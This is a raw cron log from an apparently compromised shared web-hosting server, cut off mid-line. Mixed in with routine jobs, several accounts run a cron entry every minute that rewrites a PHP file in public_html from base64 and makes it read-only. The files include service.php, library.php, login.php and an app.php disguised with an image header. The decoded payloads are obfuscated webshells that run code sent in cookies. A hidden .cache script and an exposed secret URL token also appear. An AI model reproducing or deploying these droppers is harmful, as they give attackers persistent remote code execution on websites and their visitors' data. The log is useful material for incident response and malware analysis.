Mar  1 18:36:01 medusa CROND[26000]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 18:36:01 medusa CROND[26001]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:36:01 medusa CROND[26003]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:36:01 medusa CROND[26006]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:36:02 medusa CROND[26007]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 18:36:02 medusa CROND[26010]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:37:01 medusa CROND[17498]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 18:37:01 medusa CROND[17499]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 18:37:01 medusa CROND[17500]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 18:37:01 medusa CROND[17501]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 18:37:01 medusa CROND[17504]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 18:37:01 medusa CROND[17506]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 18:37:01 medusa CROND[17508]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:37:01 medusa CROND[17507]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 18:37:01 medusa CROND[17510]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:37:01 medusa CROND[17512]: (root) CMD (/nutscripts/cleanqueue.sh > /dev/null 2>&1)
Mar  1 18:37:01 medusa CROND[17515]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 18:37:01 medusa CROND[17516]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:37:01 medusa CROND[17511]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 18:37:01 medusa CROND[17526]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:38:02 medusa CROND[9264]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 18:38:02 medusa CROND[9265]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 18:38:02 medusa CROND[9266]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 18:38:02 medusa CROND[9267]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 18:38:02 medusa CROND[9270]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 18:38:02 medusa CROND[9271]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 18:38:02 medusa CROND[9272]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 18:38:02 medusa CROND[9273]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:38:02 medusa CROND[9275]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQ